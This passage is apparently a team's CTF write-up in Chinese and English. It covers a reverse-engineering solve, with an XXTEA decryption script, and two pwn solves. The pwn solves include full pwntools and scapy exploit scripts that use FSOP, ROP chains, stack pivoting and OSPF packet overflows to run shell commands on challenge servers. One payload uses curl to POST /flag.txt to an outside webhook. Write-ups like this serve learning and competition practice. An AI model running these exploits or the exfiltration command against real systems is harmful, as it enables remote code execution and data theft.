在 `main` 裡面,印出 banner 的下方可以看到 `getchar` 迴圈讀取使用者輸入。然後底下加密輸入的函式 LLM 告訴我是 TEA。

順著可以找到核心的加密迴圈,並且發現密鑰在` 0x4209dc`:

```
\xa6\xb7\xb6\x0e\x1e\x1d\x1e0\xcd\xe2g\x1a\xa6\xac\x99\xc1
```
我接著去檢查比對的邏輯,發現她會去比較地址 `0x420978` 的 44 個位元組,應該是已經加密過的 flag,所以我們就要用 TEA 去解密他。

```
\x05\xd4B\x85\x9c!\xac\x96$P\xdb\x8e\xbf2\xcb=4~\xb7R\xc3\x9b9\xdb\xac\x8c\t>\x8b\xca\xd5\xe1u\x1c>P\xb5\xe6~\xcb1\x12Xg
```
但事情並沒有想像中的簡單,我卡了整整一天,甚至還跑去解所有 junk code。最後土法煉鋼從 `0x401000` 開始慢慢往下看發現了這段:

居然直接在 `0x401110`(剛剛比對加密 flag 的地方) 塞一個 `0xcc`(aka. `int3`),而且看起來是在設定例外處理。
往上追進 `0x402b30`,就看到了這段,感覺就是偷偷先把加密過的資料 xor `0xE9`。

```python title:decrypt_flag.py
import struct
# [Key] IDA .data:004209DC
static_key_bytes = bytes([ 0xA6, 0xB7, 0xB6, 0x0E, 0x1E, 0x1D, 0x1E, 0x30, 0xCD, 0xE2, 0x67, 0x1A, 0xA6, 0xAC, 0x99, 0xC1 ])
# [Ciphertext] IDA .data:00420978
raw_cipher_bytes = bytes([ 0x05, 0xD4, 0x42, 0x85, 0x9C, 0x21, 0xAC, 0x96, 0x24, 0x50, 0xDB, 0x8E, 0xBF, 0x32, 0xCB, 0x3D, 0x34, 0x7E, 0xB7, 0x52, 0xC3, 0x9B, 0x39, 0xDB, 0xAC, 0x8C, 0x09, 0x3E, 0x8B, 0xCA, 0xD5, 0xE1, 0x75, 0x1C, 0x3E, 0x50, 0xB5, 0xE6, 0x7E, 0xCB, 0x31, 0x12, 0x58, 0x67 ])
print("[*] Applying VEH Trap Fix (Cipher ^ 0xE9)...")
real_cipher_ba = bytearray(len(raw_cipher_bytes))
for i in range(len(raw_cipher_bytes)):
real_cipher_ba[i] = raw_cipher_bytes[i] ^ 0xE9
print(f" Fixed Cipher Hex: {real_cipher_ba.hex()}")
print(f" Static Key Hex: {static_key_bytes.hex()}")
def xxtea_decrypt(v, k):
MASK = 0xFFFFFFFF
DELTA = 0x213B6EA8 # 題目魔改 Delta
n = len(v)
rounds = 6 + 52 // n
# 加密是 sum -= DELTA,解密 sum 從負數開始加回來
sum_val = (rounds * -DELTA) & MASK
y = v[0]
while sum_val != 0:
e = (sum_val >> 2) & 3
for p in range(n - 1, -1, -1):
z = v[(p - 1) % n]
mx = ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ (
(sum_val ^ y) + (k[(p & 3) ^ e] ^ z)
)
v[p] = (v[p] - mx) & MASK
y = v[p]
sum_val = (sum_val + DELTA) & MASK
return v
# 轉換為 uint32 陣列 (Little Endian)
KEY_INTS = list(struct.unpack("<4I", static_key_bytes))
CIPHER_INTS = list(struct.unpack("<11I", real_cipher_ba))
print(f"[*] Decrypting XXTEA...")
decrypted_ints = xxtea_decrypt(CIPHER_INTS, KEY_INTS)
# 轉回字串
flag_bytes = b""
for val in decrypted_ints:
flag_bytes += struct.pack("<I", val)
try:
flag = flag_bytes.decode("utf-8").rstrip("\x00")
print(f"FLAG: {flag}")
except Exception as e:
print(f"Raw Decrypted: {flag_bytes}")
```
執行結果:
```shell
➜ uvr decrypt_flag.py
[*] Applying VEH Trap Fix (Cipher ^ 0xE9)...
Fixed Cipher Hex: ec3dab6c75c8457fcdb9326756db22d4dd975ebb2a72d0324565e0d762233c089cf5d7b95c0f9722d8fbb18e
Static Key Hex: a6b7b60e1e1d1e30cde2671aa6ac99c1
[*] Decrypting XXTEA...
FLAG: EOF{ebf26c99-ce3b-4df6-92d1-702f0902d19d}
```
## Pwn
### ooonenooote
> Solver: zKltch

- **challenge source code**
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define MAX_LEN 0x10
int main(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char* notes[MAX_LEN] = {0};
int choice = 0;
puts("Welcome to ooone nooote!");
printf("Give me your index: ");
if(scanf("%d%*c", &choice) != 1){
puts("Invalid index");
exit(0x1337);
}
if (choice > MAX_LEN){
puts("Index out of range");
exit(0x69);
}
notes[choice] = calloc(1,128);
printf("OK, give me the content of your note: ");
read(0, notes[choice], 128);
printf("You have reached the limit of notes! Exiting...");
exit(0);
}
```
from the source code of the challenge it seems like we can only do **out of bound underflow write** since it checks the index and MAX_LEN
first I tried to manipulate the choice variable on the stack that could control where I write the data into

but sadly it faliled since i cant control what `calloc` return

so I looked around the the stack memory where I can control with **out of bound** vulnerability
and found something suspicious which is **FILE Structures**
maybe i can do anything with it?

I tried to set choice around there and found out that after i set the index at **-108** it will be overwritten with `0x40e140` instead of the allocated memory by `calloc`
with that I can write the data to `__stdout_FILE` and do **FSOP**

the reason behind this is that after called the `calloc`
it also called the `printf` function
when `printf` is called, it overwrote the pointer allocated by `calloc` with `__stdout_FILE`

after that we just do **FSOP** and **stack pivoting** to my **ROP chain**
#### exploit
```python
from pwn import *
context.log_level = 'DEBUG'
context.terminal = ['tmux', 'new-window']
context.binary = './chall'
#p = process("./chall")
p = remote("chals1.eof.ais3.org", 13337)
__stdout_FILE = -108
pop_rbp_r14 = p64(0x0000000000401840)
pop_rbx = p64(0x00000000004045D0)
pop_rax = p64(0x0000000000401001)
pop_r14 = p64(0x0000000000401841)
mov_rdi_space_rax = p64(0x0000000000401E25)
leave_ret = p64(0x0000000000409DFE)
mov_rax_rbx_syscall = p64(0x0000000000404CF1)
syscall2 = p64(0x0000000000404CED)
# xor edx, edx ; mov rax, rbx ; mov rsi, rbp ; syscall
controlflow = leave_ret # leave_ret
# original _flags 0x45
fsop = p64(0xFBAD1800) + pop_rbx
fsop += p64(0x3B) + pop_rbp_r14
fsop += p64(1) + p64(1) # cant change
fsop += pop_rax + b"/bin/sh\00"
fsop += pop_r14 + controlflow
fsop += mov_rdi_space_rax + syscall2
fsop += p64(1) * 4
def sendpayload(index, note):
p.sendlineafter(": ", str(index).encode())
p.sendlineafter(": ", note)
# gdb.attach(p)
sendpayload(__stdout_FILE, fsop)
p.interactive()
```

> Flag: EOF{I_accidently_found_this_unintended_solution_in_an_EZ_challenge_Lol_Hope_you_find_this_cool_lol_2e4e0fe9d5c9ae17bc75cc}
### CAgent - OSPF
> Solver: zKltch

- A OSPF routing protocol binary challenge since the source code is too long(1400+ lines) so I wont put the full source code here


- the binary is most likely going to play around **ROP** since **statically linked** and **No PIE No Canary**
first take a look at the challenge's source code and found a obvious memcpy buffer overflow that `num_headers` could be controlled by remote user

but sadly it enabled `_FORTIFY_SOURCE`

when compiling with `_FORTIFY_SOURCE` on
it will try check the the size of destination buffer
and turn the normal `memcpy` function into `_memcpy_chk`
when calling `memcpy` it will check the size it trying
to copy and the size of the destination buffer
if `size > size of destination buffer` it will trigger `_chk_fail`

so attacking with the `memcpy` **stack overflow** vulnerability **failed**
but I found another **buffer overflow** vulnerability in `ospf_send_hello` function
the `packet` is a `256` bytes fixed buffer and if the remote user sending too many hello packets with different router id will cause stack overflow at `while` loop

using that vulnerability we successfully controlled the **RIP**
also noticed that we can control other registers including **RBP**

however since the OSPF protocol will deduplicatie same **router_ID(IP)** so each **router_ID** has to be different that mean I can only send `p32(0)` once and the **ROP gadgets** is something like `0x0000000000421B2C` so i can only **control flow** once
to solve this issue we need to **leak** some **ASLR address** that I can **write** my **ROP chain** and **stack pivoting**
**out of bound read** in `ospf_recv_lsu` function
we can control `num_lsas` field and `data` do **out out bound** read
make the `num_lsass` really big and real `data` only few bytes
the code assume the ptr is valid header but actually copying **stack memory** on stack

with that we successfully leaked **stack address**


now I just need find somewhere on **stack** to put my **ROP chain** and **stack pivoting** to it
however if you just do `system("/bin/sh")` it would only open a shell on server side so I have to find a way to send the **flag** back to me
and I found that on the server side installed `curl`
we can make a payload that `curl` with **flag** send to my **webhook**
- payload: ```curl https://webhook.site/16174825-680f-4c12-a819-419bc35fb072 -X POST -d "$(cat /flag.txt)"```

now our final attack plan is
- **leak stack address** > **send a packet with ROP chain on stack** > **stack overflow** > **stack pivoting** > **RCE**
#### exploit
```python
from pwn import *
from scapy.all import *
from scapy.contrib.ospf import *
import struct
import time
import sys
conf.verb = 0
IFACE = "eth0"
def get_local_ip():
try:
return get_if_addr(IFACE)
except:
return "127.0.0.1"
def get_target_mac(target_ip):
ans, _ = srp(
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=target_ip), timeout=2, verbose=False
)
if ans:
return ans[0][1].src
return "ff:ff:ff:ff:ff:ff"
ATTACKER_IP = get_local_ip()
ip_parts = ATTACKER_IP.split(".")
TARGET_IP = f"{ip_parts[0]}.{ip_parts[1]}.{ip_parts[2]}.11"
TARGET_MAC = get_target_mac(TARGET_IP)
ROUTER_ID = "1.1.1.1"
AREA_ID = 0
context.arch = "amd64"
context.log_level = "info"
def fletcher16_ospf(data):
c0 = 0
c1 = 0
for i, byte in enumerate(data):
if i == 14 or i == 15:
c0 = (c0 + 0) % 255
c1 = (c1 + c0) % 255
else:
c0 = (c0 + byte) % 255
c1 = (c1 + c0) % 255
x = ((len(data) - 14) * c0 - c1) % 255
if x <= 0:
x += 255
y = (510 - c0 - x) % 255
if y <= 0:
y += 255
return (int(x) << 8) | int(y)
def get_router_id_from_value(val):
b = p32(val)
return f"{b[0]}.{b[1]}.{b[2]}.{b[3]}"
def create_malicious_lsa(ls_id_int, lsa_len=2048):
rid_bytes = inet_aton(ROUTER_ID)
ls_id_bytes = struct.pack(">I", ls_id_int)
options_type = struct.pack(">BB", 0x22, 1) # Router LSA
seq_field = struct.pack(">I", 0x80000000 + ls_id_int)
len_field = struct.pack(">H", lsa_len)
dummy_payload = b"A" * 32
chksum_data = (
options_type
+ ls_id_bytes
+ rid_bytes
+ seq_field
+ b"\x00\x00"
+ len_field
+ dummy_payload
)
calculated_chk = fletcher16_ospf(chksum_data)
header = (
b"\x00\x01"
+ options_type
+ ls_id_bytes
+ rid_bytes
+ seq_field
+ struct.pack(">H", calculated_chk)
+ len_field
)
return header + dummy_payload
def send_hello(src_router_id, neighbor_ip=None):
neighbors = [neighbor_ip] if neighbor_ip else [TARGET_IP]
hello_layer = OSPF_Hello(
router=TARGET_IP,
neighbors=neighbors,
mask="255.255.255.0",
hellointerval=10,
deadinterval=40,
prio=1,
)
p = (
Ether(dst=TARGET_MAC)
/ IP(src=ATTACKER_IP, dst=TARGET_IP, proto=89)
/ OSPF_Hdr(src=src_router_id, area=AREA_ID)
/ hello_layer
)
sendp(p, iface=IFACE, verbose=0)
def do_info_leak():
log.info("--- Phase 1: Info Leak ---")
# 1. malicous LSA
lsa1 = create_malicious_lsa(1, 2048)
lsa2 = create_malicious_lsa(2, 2048)
lsu_packet = (
Ether(dst=TARGET_MAC)
/ IP(src=ATTACKER_IP, dst=TARGET_IP, proto=89)
/ OSPF_Hdr(src=ROUTER_ID, area=AREA_ID, type=4)
/ OSPF_LSUpd(lsacount=2)
/ Raw(load=lsa1 + lsa2)
)
log.info("Injecting malformed LSAs...")
sendp(lsu_packet, iface=IFACE, verbose=0)
time.sleep(0.5)
sniffer = AsyncSniffer(filter=f"proto 89 and host {TARGET_IP}", iface=IFACE)
sniffer.start()
time.sleep(0.5)
log.info("Sending LSR request...")
rid_bytes = inet_aton(ROUTER_ID)
lsr_payload = struct.pack(
">I4s4s", 1, struct.pack(">I", 1), rid_bytes
) + struct.pack(">I4s4s", 1, struct.pack(">I", 2), rid_bytes)
lsr_packet = (
Ether(dst=TARGET_MAC)
/ IP(src=ATTACKER_IP, dst=TARGET_IP, proto=89)
/ OSPF_Hdr(src=ROUTER_ID, area=AREA_ID, type=3)
/ OSPF_LSReq()
/ Raw(load=lsr_payload)
)
sendp(lsr_packet, iface=IFACE, verbose=0)
time.sleep(2.5) # analyze
sniffer.stop()
ans = sniffer.results
all_leaked_content = b""
for pkt in ans:
if IP in pkt and bytes(pkt[IP].payload)[1] == 4: # LSU Type
raw_ip_payload = bytes(pkt[IP].payload)
all_leaked_content += raw_ip_payload[24:]
if not all_leaked_content:
log.warning(f"Leak failed: No data captured. (Total Pkts: {len(ans)})")
return None
log.info(f"Total Leaked Bytes: {len(all_leaked_content)}")
print(hexdump(all_leaked_content[:1536]))
return all_leaked_content
def exploit():
log.info(f"Target MAC: {TARGET_MAC}")
send_hello(ROUTER_ID)
time.sleep(0.5)
leaked_bytes = do_info_leak()
pop_rsi = p64(0x0000000000402571)
pop_rax = p64(0x00000000004282FB)
pop_rdi = p64(0x0000000000401CF7)
syscall = p64(0x00000000004016ED)
binsh = b"/bin/sh\0"
c = b"-c" + b"\00" * 6
cmd = b"curl "
cmd += b"https://webhook.site/66b3f3b4-e60a-4221-af49-60bc4b8cbbc8"
cmd += b' -X POST -d "$(cat /flag.txt)"\00\00\00\00'
target_addr = 0x400000
if leaked_bytes:
log.info("Scanning leak for pointers...")
for i in range(0, len(leaked_bytes) - 8, 8):
try:
ptr = u64(leaked_bytes[i : i + 8])
if 0x400000 <= ptr <= 0x4B0000:
log.success(f"Found code pointer at offset {i}: {hex(ptr)}")
elif 0x7F0000000000 <= ptr <= 0x7FFFFFFFFFFF:
log.success(f"Found library pointer at offset {i}: {hex(ptr)}")
except:
continue
print(leaked_bytes[228 : 228 + 8])
stack_addr = u64(leaked_bytes[228 : 228 + 8])
print(hex(stack_addr))
stack_pivoting = stack_addr - 0xB8
log.info("--- Phase 2: Spraying Buffer via Type 5 (LSAck) ---")
chunk_markers = [0xDEADBEEFCAFEBABE, 0x1122334455667788, 0xAAAAAAAAAAAABBBB]
for marker in chunk_markers:
chunk_payload = p64(marker) * 10 + b"D" * 4
chunk_payload += pop_rax + p64(0x3B)
chunk_payload += pop_rdi + p64(stack_pivoting + 0x40)
chunk_payload += pop_rsi + p64(stack_pivoting + 0xB0)
chunk_payload += syscall
chunk_payload += binsh + c + cmd
chunk_payload += p64(stack_pivoting + 0x40)
chunk_payload += p64(stack_pivoting + 0x48)
chunk_payload += p64(stack_pivoting + 0x50) + p64(0)
chunk_payload.ljust(1200, b"D")
spray_pkt = (
Ether(dst=TARGET_MAC)
/ IP(src=ATTACKER_IP, dst=TARGET_IP, proto=89)
/ OSPF_Hdr(src=ROUTER_ID, area=AREA_ID, type=5)
/ Raw(load=chunk_payload)
)
sendp(spray_pkt, iface=IFACE, verbose=0)
time.sleep(0.05)
log.info("--- Phase 3: Final Stack Overflow ---")
stack_pivoting = stack_addr - 0xB8
target_addr = 0x0000000000421B2C # leave ret
stack_values = [0x10101010 + i for i in range(0x37)]
stack_values.append((stack_pivoting & 0xFFFFFFFF))
stack_values.append(stack_pivoting >> 32)
stack_values += [0x10101010 + i for i in range(0x39, 0x3B)]
registers = [(0xDEADBEEF, 0xD1203040), ((0xE1203040), (0x123BEFE2))]
for low, high in registers:
stack_values.append(low)
stack_values.append(high)
stack_values.append(target_addr & 0xFFFFFFFF)
stack_values.append((target_addr >> 32) & 0xFFFFFFFF)
router_ids = [get_router_id_from_value(v) for v in stack_values]
for rid in router_ids[::-1]:
send_hello(rid)
time.sleep(0.01)
log.success("Exploit task completed.")
if __name__ == "__main__":
exploit()
```

> Flag: EOF{Wh47_7h3_h3ll_y0u_jus7_wr073_f0r_m3_?_Cl4ud3_!!!}